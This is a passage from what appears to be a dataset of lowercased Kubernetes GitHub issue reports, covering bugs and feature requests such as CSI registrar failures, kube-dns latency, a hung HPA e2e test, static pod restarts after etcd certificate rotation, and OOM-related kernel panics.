linux/amd64\ }\r    \r - cloud provider or hardware configuration:   aws  \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @kubernetes/sig-api-machinery-bugs

what happened  :\r \r the csi driver registrar container fails to start with the following message:\r \r    \r i1123 12:42:02.529686       1 main.go:121  received notifyregistrationstatus call: &registrationstatus{pluginregistered:false,error:plugin registration failed with err: error uninstalling csi driver from csinodeinfo object error updating csinodeinfo: timed out waiting for the condition; caused by:  csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found ,}\r e1123 12:42:02.529792       1 main.go:123  registration process failed with error: plugin registration failed with err: error uninstalling csi driver from csinodeinfo object error updating csinodeinfo: timed out waiting for the condition; caused by:  csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found, csinodeinfos.csi.storage.k8s.io \ ip-172-18-0-74.ec2.internal\  not found , restarting registration container.\r    \r the commit that introduced this issue seems to be aa8244beb50b66d4de0f18aad2867aa7091eaf30.\r \r   what you expected to happen  :\r \r the csi driver registrar container should start correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just deploy the registrar sidecar container.\r \r <!-- do not edit below this line -->\r  /assign @saad-ali

73930 added the support of cross-compilation for bazel, but there is currently no way to build for multiple platforms. for example, to build release tarballs for both windows and linux, one would have to run the following commands.\r \r    \r bazel build --config=cross:linux_amd64 //build/release-tars\r \r   may need to copy the artifacts out before running the next command due to bazel's symlink logic\r \r bazel build --config=cross:windows_amd64 //build/release-tars\r    \r \r it'd be good to support multi-platform building, and then we can extend kubetest to enable this for test jobs that include multiple platforms. \r \r /cc @ixdy \r /cc @mtaufen @pjh

although we have elasticsearch to store pod logs, if one didn't list pods before rolling-update, it's a bit painful to find historical pod logs. it's better if we print old pods names and new pods names during rolling-update, so pod names can be traced.  for example, it's hard to find logs of my-nginx-xxxx in the following example.      root@master-1:/home/vagrant  /opt/bin/kubectl rolling-update my-nginx -f ./nginx-rc-new.yaml created my-nginx-v4 scaling up my-nginx-v4 from 0 to 2, scaling down my-nginx from 2 to 0  keep 2 pods available, don't exceed 3 pods  scaling my-nginx-v4 up to 1 scaling my-nginx down to 1 scaling my-nginx-v4 up to 2 scaling my-nginx down to 0 update succeeded. deleting my-nginx replicationcontroller \ my-nginx\  rolling updated to \ my-nginx-v4\       if rolling-update output can list the names of the pods went down and the names of the pods going up, then we can check all the logs from the elasticsearch by pod name.

i have observed network failures when the master node restarts and pods use fixed clusterips.    i have two services  e.g. web and db  on the master node that use clusterip  for various reasons .  when i restart the master node of my cluster   shutdown -r now  , everything comes back except the the web container can no longer connect to the database container  clusterip 10.0.0.128, podip 10.47.44.3 .  however i can connect from the host and containers on other nodes.  the behavior is:      container echo \ ping\  | ncat 10.0.0.128 5432 -> failed host echo \ ping\  | ncat 10.0.0.128 5432 -> ok container echo \ ping\  | ncat 10.47.44.3 5432 -> ok host echo \ ping\  | ncat 10.47.44.3 5432 -> ok      restarting the kubelet fixes the issue.    kubernetes version   1.3.7    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : centos 7.2 -   kernel    e.g.  uname -a  : 3.10.0-327.28.3.el7.x86_64

long tail observed in normal case:       console $ for i in  seq 1 1000 ; do dig @10.0.0.10 kubernetes.svc.cluster.local a | grep query | cut -f2 -d: ; done | sort -n | uniq -c        4  0 msec     930  1 msec      29  2 msec      11  3 msec       1  4 msec       4  5 msec       1  6 msec       2  7 msec       1  9 msec       1  10 msec       1  13 msec       1  15 msec       1  22 msec       1  29 msec       2  44 msec       1  48 msec       1  51 msec       1  65 msec       1  68 msec       2  72 msec       2  73 msec       1  76 msec       1  83 msec      i tried a bunch of things like using hostnetwork and doing a lookup from 127.0.0.1, didn't help.  then tried: - drained the node  deleted all pods, cordoned the node   - removed dnsmasq from kube-dns yaml - removed static pod manifests for fluentd, kube-proxy from /etc/kubernetes - modified podtemplate spec like of kube-dns rc to       yaml     spec:       containers:       - args:         - --domain=cluster.local.         - --dns-port=53         image: gcr.io/google_containers/kubedns-amd64:1.7         imagepullpolicy: ifnotpresent         name: kubedns         ports:         - containerport: 53           hostport: 53           name: dns-local           protocol: udp         resources:           requests:             cpu: 200m             memory: 70mi         terminationmessagepath: /dev/termination-log       dnspolicy: clusterfirst       nodename: e2e-test-beeps-minion-group-oka0       restartpolicy: always       securitycontext: {}       terminationgraceperiodseconds: 30      basically kube-dns now has 1 box.  observed much better latencies, at least in the handful of lookups i did:       root@dnsutils2:/  for i in  seq 1 1000 ; do dig @10.0.0.10 kubernetes.svc.cluster.local a | grep query | cut -f2 -d: ; done | sort -n | uniq -c     537  0 msec     456  1 msec       4  2 msec       2  3 msec       1  9 msec      theories: 1. dnsmasq is cpu constrainted  it has 10m  2. kube-dns is setting gomaxprocs to what it _thinks_ is num cores 3. one of the other components i removed from the node was hammering cpu   we should try doing https://github.com/kubernetes/kubernetes/issues/29597 issuecomment-235469479

- create kubernetes bootcamp image in gcr.io   - build these images and push to gcr.io.  then update the references to use the gcr.io images.   - https://github.com/kubernetes/kubernetes-bootcamp/tree/gh-pages/code/docker - satisfy intel funding requirements - replace links to old guide to new guide - blog post

i was diagnosing the test timeout in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.5-upgrade-cluster-new/76 and saw that \r \r    console\r \  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset \  took 9h17m49.08s. lines 3734-3870\r    \r \r the interesting part is\r \r    console\r i1206 05:49:33.555   k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  replicaset \r i1206 05:49:33.555    should scale from 5 pods to 3 pods and from 3 to 1\r i1206 05:49:33.555    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:62\r i1206 05:49:33.556   beforeeach   k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu \r i1206 05:49:33.556    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141\r i1206 05:49:33.556  step: creating a kubernetes client\r i1206 05:49:33.556  dec  6 05:49:33.554: info: >>> kubeconfig: /workspace/.kube/config\r i1206 05:49:33.556  \r i1206 05:49:33.559  step: building a namespace api object\r i1206 05:49:33.644  step: waiting for a default service account to be provisioned in namespace\r i1206 05:49:33.648   it  should scale from 5 pods to 3 pods and from 3 to 1\r i1206 05:49:33.648    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:62\r i1206 05:49:33.648  step: running consuming rc rs via replicaset with 5 replicas\r i1206 05:49:33.678  step: creating replicaset rs in namespace e2e-tests-horizontal-pod-autoscaling-lvvbf\r i1206 05:49:33.678  step: creating replicaset rs in namespace e2e-tests-horizontal-pod-autoscaling-lvvbf\r i1206 05:49:33.713  i1206 05:49:33.713479    3051 runners.go:103  created replica set with name: rs, namespace: e2e-tests-horizontal-pod-autoscaling-lvvbf, replica count: 5\r i1206 05:49:43.714  i1206 05:49:43.713850    3051 runners.go:103  rs pods: 5 out of 5 created, 5 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1206 05:49:43.714  step: running controller\r i1206 05:49:43.722  step: creating replication controller rs-ctrl in namespace e2e-tests-horizontal-pod-autoscaling-lvvbf\r i1206 05:49:43.763  i1206 05:49:43.762667    3051 runners.go:103  created replication controller with name: rs-ctrl, namespace: e2e-tests-horizontal-pod-autoscaling-lvvbf, replica count: 1\r i1206 05:49:53.763  i1206 05:49:53.763029    3051 runners.go:103  rs-ctrl pods: 1 out of 1 created, 1 running, 0 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1206 05:50:03.763  dec  6 05:50:03.763: info: rc rs: consume 375 millicores in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: setting consumption to 375 millicores in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: consume 0 mb in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: sending request to consume 375 millicores\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: consume custom metric 0 in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: setting bump of metric qps to 0 in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: setting consumption to 0 mb in total\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: sending request to consume 0 of custom metric qps\r i1206 05:50:03.764  dec  6 05:50:03.763: info: rc rs: sending request to consume 0 mb\r i1206 05:50:03.769  dec  6 05:50:03.768: info: url: {https  <nil> 130.211.200.26 /api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-lvvbf/services/rs-ctrl/proxy/consumecpu  false durationsec=30&millicores=375&requestsizemillicores=20 }\r i1206 05:50:03.769  dec  6 05:50:03.768: info: url: {https  <nil> 130.211.200.26 /api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-lvvbf/services/rs-ctrl/proxy/consumemem  false durationsec=30&megabytes=0&requestsizemegabytes=100 }\r i1206 05:50:03.769  dec  6 05:50:03.769: info: url: {https  <nil> 130.211.200.26 /api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-lvvbf/services/rs-ctrl/proxy/bumpmetric  false delta=0&durationsec=30&metric=qps&requestsizemetrics=10 }\r i1206 05:50:03.838  dec  6 05:50:03.838: info: replicaset: current replicas number 5 waiting to be 3\r ... snip ...\r i1206 06:04:45.146  dec  6 06:04:45.146: info: replicaset: current replicas number 5 waiting to be 3\r i1206 06:05:05.147  dec  6 06:05:05.146: info: timeout waiting 15m0s for pods size to be 3\r i1206 06:05:05.147  step: removing consuming rc rs\r w1206 14:51:20.408  2016/12/06 14:51:20 e2e.go:956: interrupt testing after 10h0m0s timeout. will terminate in another 15m\r    \r \r it seems to hit  resourceconsumer.cleanup    https://github.com/kubernetes/kubernetes/blob/master/test/e2e/autoscaling_utils.go l301  and hang. i think it's attempting to write to a blocking channel because we never see any cleanup messages from the framework functions that would be called right after the channel writes.\r \r we no longer see messages about millicores, so it makes me think that the  resourceconsumer.makeconsumecpurequests    loop terminated. this was probably some sort of gomega error that propagates as a panic, and then gets swallowed by  ginkgorecover   .\r \r the early loop exit might be the cause of a lot of hpa flakes, but the hang on a channel write should be fixed. you can make the channel buffered, but it might be better to just close the channel. i would also like this cherry picked at least to 1.5 for test stability.\r \r found while investigating https://github.com/kubernetes/kubernetes/issues/37981

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.5.1\r \r   environment  :\r - libvirt vms\r -   os    e.g. from /etc/os-release :ubuntu 16.04 xenial\r -   kernel    e.g.  uname -a  : linux node1 4.4.0-53-generic  74-ubuntu smp fri dec 2 15:59:10 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kargo\r -   others  :\r \r \r   what happened  :\r i rotated my etcd keys by regenerating and redistributing the ca certificate and keys for etcd client connectivity. according to http://kubernetes.io/docs/admin/static-pods/ , a static pod should be restarted gracefully through the following magic sequence:\r - remove kube-apiserver.manifest\r - wait 20 seconds\r - replace kube-apiserver.manifest\r \r from @luxas i was suggested another approach. instead of the above 3 steps, i tried simply changing a value in my kube-apiserver.manifest file.\r \r through approach 1, i get the following error:\r    dec 19 13:30:00 node1 kubelet 7563 : e1219 13:30:00.191464    7594 event.go:199  server rejected event '&api.event{typemeta:unversioned.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:api.objectmeta{name:\ node1.149\r 1aac411cb50f9\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletion\r timestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  api.ownerreference nil , finalizers:  string nil\r  , clustername:\ \ }, involvedobject:api.objectreference{kind:\ node\ , namespace:\ \ , name:\ node1\ , uid:\ node1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ }, reason:\ nodehasnodiskpressure\ , message:\ node node1 \r status is now: nodehasnodiskpressure\ , source:api.eventsource{component:\ kubelet\ , host:\ node1\ }, firsttimestamp:unversioned.time{time:time.time{sec:63617750311, nsec:470452985, loc:  time.location  0x5cab2e0 }}\r , lasttimestamp:unversioned.time{time:time.time{sec:63617751000, nsec:119725721, loc:  time.location  0x5cab2e0 }}, count:148, type:\ normal\ }': 'client: etcd cluster is unavailable or misconfigured'  will not re\r try! \r dec 19 13:30:05 node1 kubelet 7563 : i1219 13:30:05.435152    7594 kubelet.go:1791  syncloop  remove, \ file\  : \ kube-apiserver-node1_kube-system 45483e04c56173ef6854ab806f32eec4 \ \r dec 19 13:30:05 node1 kubelet 7563 : i1219 13:30:05.437682    7594 kubelet.go:1976  failed to delete pod \ kube-apiserver-node1_kube-system 45483e04c56173ef6854ab806f32eec4 \ , err: skipping delete because sources aren't ready yet\r    \r \r \r through approach 2, i get the following error:\r    dec 19 15:41:15 node1 kubelet 14260 : w1219 15:41:15.600851   14297 kubelet.go:1497  deleting mirror pod \ kube-apiserver-node1_kube-system 54e77b21-c399-11e6-992a-64803e948e73 \  because it is outdated\r dec 19 15:41:15 node1 kubelet 14260 : i1219 15:41:15.600914   14297 mirror_client.go:84  deleting a mirror pod \ kube-apiserver-node1_kube-system\ \r dec 19 15:41:15 node1 kubelet 14260 : e1219 15:41:15.631318   14297 mirror_client.go:87  failed deleting a mirror pod \ kube-apiserver-node1_kube-system\ : client: etcd cluster is unavailable or misconfigured\r dec 19 15:41:15 node1 kubelet 14260 : e1219 15:41:15.658883   14297 kubelet.go:1508  failed creating a mirror pod for \ kube-apiserver-node1_kube-system 45483e04c56173ef6854ab806f32eec4 \ : pods \ kube-apiserver-node1\  is forbidden: client: etcd cluster is unavailable or misconfigured\r    \r \r   what you expected to happen  :\r kube-apiserver static pod would restart when kubelet detected changes regardless of whether or not kube-apiserver was ever started or connected to etcd or lost connectivity.\r \r   how to reproduce it    as minimally and precisely as possible :\r deploy kubernetes using kargo.\r delete all certificates for etcd on all hosts.\r repeat deployment.\r \r   anything else do we need to know  :\r this problem could be solved in several ways. i'm comfortable with all, but the order of preferable solutions include:\r   kube-apiserver will fail and crashloop when it loses connectivity to all etcd hosts  after a reasonable number of retries  due to cert change\r   kubelet will restart static pods regardless of kube-apiserver functioning when manifest changes take place\r   restarting kubelet will clean up the old apiserver pod container and start the new one correctly. the replacement pod fails with\r    f1219 16:11:17.601727       1 genericapiserver.go:195  failed to listen on 0.0.0.0:443: listen tcp 0.0.0.0:443: bind: address already in use   \r

this is a place-holder issue to update kubemark with the right roles once issue https://github.com/kubernetes/kubernetes/issues/40021 has been resolved.\r \r cc @kubernetes/sig-scalability-misc @wojtek-t @gmarek

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r use kubectl search log with follow option get api latency  apiserver_request_latencies_summary{quantile=\ 0.99\ ,resource=\ pods\ ,verb=\ get\ }  high to give a alert in my cluster.\r \r the apiserver log is below\r    \r i0802 02:58:31.657224       1 wrap.go:75  get /api/v1/namespaces/kube-system/pods/ke-logservice-f08fw/log?follow=true:  1m25.080670681s  200   kubectl/v1.6.0  linux/amd64  kubernetes/fff5156  10.200.20.65:61803 \r    \r and we can see it costs 1m25s. \r \r   what you expected to happen  :\r \r do not make this api latency account in getting pod request api latency\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubectl to search a pod log with follow option long enough and you will get this metric\r apiserver_request_latencies_summary{quantile=\ 0.99\ ,resource=\ pods\ ,verb=\ get\ } higher than the ordinary case.\r   anything else we need to know?  :\r i am happy to fix it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6\r - cloud provider or hardware configuration  : bare-metal\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4\r - install tools: kubeadm\r - others:

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r we get regular kernel panics  multiple times a day  on nodes and masters seemingly correlated with cgroup oom process kills. fluentd is just an example here, but other container oom will also lead to instance termination.\r \r excerpt from system console  a few ooms cut out :\r    \r  10908.882564    pid     uid  tgid total_vm      rss nr_ptes nr_pmds swapents oom_score_adj name\r  10908.887477    1141      0  1141      257        1       4       2        0          -998 pause\r  10908.892312   30922      0 30922     4210      299      11       3        0           988 sh\r  10908.896685   30932      0 30932     4210      415      11       3        0           988 run.sh\r  10908.901774   30936      0 30936   380414   128690     536       4        0           988 fluentd\r  10908.906567  memory cgroup out of memory: kill process 30936  fluentd  score 1997 or sacrifice child\r  10908.911545  killed process 30936  fluentd  total-vm:1521656kb, anon-rss:509588kb, file-rss:5172kb\r  12137.268125  bug: unable to handle kernel null pointer dereference at 0000000000000050\r  12137.271876  ip:  <ffffffff810aa389>  wakeup_preempt_entity.isra.62+0x9/0x50\r  12137.272087  pgd c0357067 pud c0208067 pmd 0 \r  12137.272087  oops: 0000   1  smp \r  12137.272087  modules linked in: cfg80211 e  rfkill e  vxlan e  ip6_udp_tunnel e  udp_tunnel e  xt_set e  xt_conntrack e  xt_multiport e  iptable_raw e  ip_set_hash_net e  ip_set e  veth e  nf_conntrack_netlink e  nfnetlink e  xt_statistic e  xt_nat e  xt_recent e  ipt_reject e  nf_reject_ipv4 e  xt_tcpudp e  xt_addrtype e  ipt_masquerade e  nf_nat_masquerade_ipv4 e  xt_comment e  iptable_filter e  xt_mark e  iptable_nat e  nf_conntrack_ipv4 e  nf_defrag_ipv4 e  nf_nat_ipv4 e  nf_nat e  nf_conntrack e  ip_tables e  x_tables e  bridge e  stp e  llc e  xfrm_user e  xfrm_algo e  overlay e  nfsd e  auth_rpcgss e  nfs_acl e  nfs e  lockd e  grace e  fscache e  sunrpc e  intel_rapl e  crct10dif_pclmul e  crc32_pclmul e  ghash_clmulni_intel e  hmac e  ppdev e  drbg e  ansi_cprng e  aesni_intel e  aes_x86_64 e  lrw e  gf128mul e  glue_helper e  ablk_helper e  cryptd e  evdev e  cirrus e  parport_pc e  8250_fintek e  parport e  ttm e  snd_pcsp e  drm_kms_helper e  snd_pcm e  drm e  acpi_cpufreq e  i2c_piix4 e  snd_timer e  tpm_tis e  serio_raw e  tpm e  snd e  processor e  button e  soundcore e  autofs4 e  ext4 e  crc16 e  mbcache e  jbd2 e  btrfs e  xor e  raid6_pq e  dm_mod e  ata_generic e  xen_blkfront e  ata_piix e  libata e  crc32c_intel e  psmouse e  ixgbevf e  scsi_mod e  fjes e \r  12137.272087  cpu: 2 pid: 0 comm: swapper/2 tainted: g            e   4.4.65-k8s  1\r  12137.272087  hardware name: xen hvm domu, bios 4.2.amazon 08/24/2006\r  12137.272087  task: ffff8803fd69a180 ti: ffff8803fd6a0000 task.ti: ffff8803fd6a0000\r  12137.272087  rip: 0010: <ffffffff810aa389>    <ffffffff810aa389>  wakeup_preempt_entity.isra.62+0x9/0x50\r  12137.272087  rsp: 0018:ffff8803fd6a3de8  eflags: 00010086\r  12137.272087  rax: ffff8800eb2cc7c0 rbx: 000423a5162f2e3c rcx: ffff8800eb9c5f40\r  12137.272087  rdx: ffff88040fc55e30 rsi: 0000000000000000 rdi: 000423a5162f2e3c\r  12137.272087  rbp: 0000000000000000 r08: 0000000000000000 r09: 0000000000000000\r  12137.272087  r10: 00000001002d27d5 r11: 0000000000000000 r12: 0000000000000000\r  12137.272087  r13: ffff8800eb9c5f40 r14: ffff88040fc55dc0 r15: ffff88040fc55dc0\r  12137.272087  fs:  0000000000000000 0000  gs:ffff88040fc40000 0000  knlgs:0000000000000000\r  12137.272087  cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033\r  12137.272087  cr2: 0000000000000050 cr3: 00000000c15d7000 cr4: 00000000001406e0\r  12137.272087  dr0: 0000000000000000 dr1: 0000000000000000 dr2: 0000000000000000\r  12137.272087  dr3: 0000000000000000 dr6: 00000000fffe0ff0 dr7: 0000000000000400\r  12137.272087  stack:\r  12137.272087   ffff8803f9d5fe00 ffffffff810aa440 ffff8803f9d5fe00 ffff8803fd69a180\r  12137.272087   ffffffff8160d3c0 ffff8800eb9c5f40 ffffffff810b312a ffff8803fd69a180\r  12137.272087   0000000000000000 0000000000000000 0000000000015dc0 ffff88040fc55e30\r  12137.272087  call trace:\r  12137.272087    <ffffffff810aa440>  ? pick_next_entity+0x70/0x140\r  12137.272087    <ffffffff810b312a>  ? pick_next_task_fair+0x7a/0x4a0\r  12137.272087    <ffffffff815a0042>  ? __schedule+0x352/0x960\r  12137.272087    <ffffffff815a0681>  ? schedule+0x31/0x80\r  12137.272087    <ffffffff815a090a>  ? schedule_preempt_disabled+0xa/0x10\r  12137.272087    <ffffffff810b900f>  ? cpu_startup_entry+0x1bf/0x380\r  12137.272087    <ffffffff8104d1c0>  ? start_secondary+0x150/0x190\r  12137.272087  code: 5b e9 3c f2 ff ff 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f7 e9 e3 fb ff ff 0f 1f 00 0f 1f 44 00 00 53 48 89 fb <48> 2b 5e 50 48 85 db 7e 2c 48 81 3e 00 04 00 00 8b 05 01 89 9a \r  12137.272087  rip   <ffffffff810aa389>  wakeup_preempt_entity.isra.62+0x9/0x50\r  12137.272087   rsp <ffff8803fd6a3de8>\r  12137.272087  cr2: 0000000000000050\r    \r   what you expected to happen  :\r \r instance termination is taken care by asgs  new node provisioning , however node termination probability due to kubernetes, docker, linux should be less than 10% per day and node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r intermittent. use kops 1.7.0 to install a 3 node 3 master configuration with k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02 and create load on the cluster. create a pod with memory limit and make it exceed that limit.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t17:03:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r aws, m4.xlarge\r - os  e.g. from /etc/os-release :\r aws image: k8s-1.6-debian-jessie-amd64-hvm-ebs-2017-05-02  basically identical to k8s-1.7-debian-jessie-amd64-hvm-ebs-2017-07-28 \r - kernel  e.g.  uname -a  :\r linux hostname 4.4.65-k8s  1 smp tue may 2 15:48:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

we should capture mount/unmount metrics, volume delete metrics as well. \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r kubernetes code:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/retry_handler.go l84\r \r from aws sdk ..\r https://github.com/aws/aws-sdk-go/blob/master/aws/request/retryer.go l28\r var retryablecodes and throttlecodes\r \r aws sdk provides iserrorretryable and isthrottle functions.\r  instead of just checking for rate limit exceed error message.\r also do we retry even aws says error is due to throttling? \r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r it is about the code at master in gituhb.\r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r this issue is related to https://github.com/kubernetes/kubernetes/issues/69158\r when trying to add a test scenario that should fail to confirm my assumption of something not being correctly done, i cannot make the attach call fail, because the retry is made with a new fakevolume instead of the same one.\r https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/kubelet/volumemanager/reconciler/reconciler_test.go l104\r i would like to be able to change the expectedmountdevicecallcount to 2 and change the behavior in order to 1/ firstly fail when calling the mount 2/ secondly succeeding when retrying the call.\r so i would like to change\r https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/kubelet/volumemanager/reconciler/reconciler_test.go l169\r with this line:\r    go\r assert.noerror t, volumetesting.verifymountdevicecallcount 2 /  expectedmountdevicecallcount  /, fakeplugin  \r    \r in order for this to work i was thinking about changing the code of the fakevolume. i was thinking about checking the \r mountdevicecallcount, if this value is 1, return an error, else return normally.\r here is what i changed  https://github.com/kubernetes/kubernetes/blob/release-1.10/pkg/volume/testing/testing.go l660 \r the new function is:\r    go\r func  fv  fakevolume  mountdevice spec  spec, devicepath string, devicemountpath string  error {\r \tfv.lock  \r \tdefer fv.unlock  \r \tfv.mountdevicecallcount++\r \tif fv.mountdevicecallcount == 1 {\r \t\treturn fmt.errorf \ volume is not mounted: fv:%p, mountdevicecallcount:%d\ , fv, fv.mountdevicecallcount \r \t}\r \treturn nil\r }\r    \r \r when passing the test, i got an error because the volume is not mounted after 60sec. when checking the logs i can see that when the retry is made for the mount operation, the fakevolume pointer has changed. so fv.mountdevicecallcount never becomes higher than 1, and the call never succeeds.\r here are the logs:\r    go\r $ make test what=./pkg/kubelet/volumemanager/reconciler\r running tests for apiversion: v1,admissionregistration.k8s.io/v1alpha1,admissionregistration.k8s.io/v1beta1,admission.k8s.io/v1beta1,apps/v1beta1,apps/v1beta2,apps/v1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2beta1,batch/v1,batch/v1beta1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,events.k8s.io/v1beta1,imagepolicy.k8s.io/v1alpha1,networking.k8s.io/v1,policy/v1beta1,rbac.authorization.k8s.io/v1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,scheduling.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,storage.k8s.io/v1alpha1,\r +++  1023 16:48:35  running tests without code coverage\r e1023 16:48:38.897566   31781 reconciler.go:356  cannot get volumes from disk open fake-dir: no such file or directory\r e1023 16:48:38.898259   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:48:39.398217291 +0200 cest m=+0.510715873  durationbeforeretry 500ms . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc0003740a0, mountdevicecallcount:1\ \r e1023 16:48:39.398438   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:48:40.398402919 +0200 cest m=+1.510901476  durationbeforeretry 1s . error: \ mountvolume.mountdevice failed for volume \\\ volume-name\\\   uniquename: \\\ fake-plugin/fake-device1\\\   pod \\\ pod1\\\   uid: \\\ pod1uid\\\   : volume is not mounted: fv:0xc002c04d20, mountdevicecallcount:1\ \r e1023 16:48:40.398606   31781 nestedpendingoperations.go:267  operation for \ \\\ fake-plugin/fake-device1\\\ \  failed. no retries permitted until 2018-10-23 16:48:42.398577937 +0200 cest m=+3.511076497  durationbeforeretry 2s . error: \ mountvolume.mountdevice failed for volume 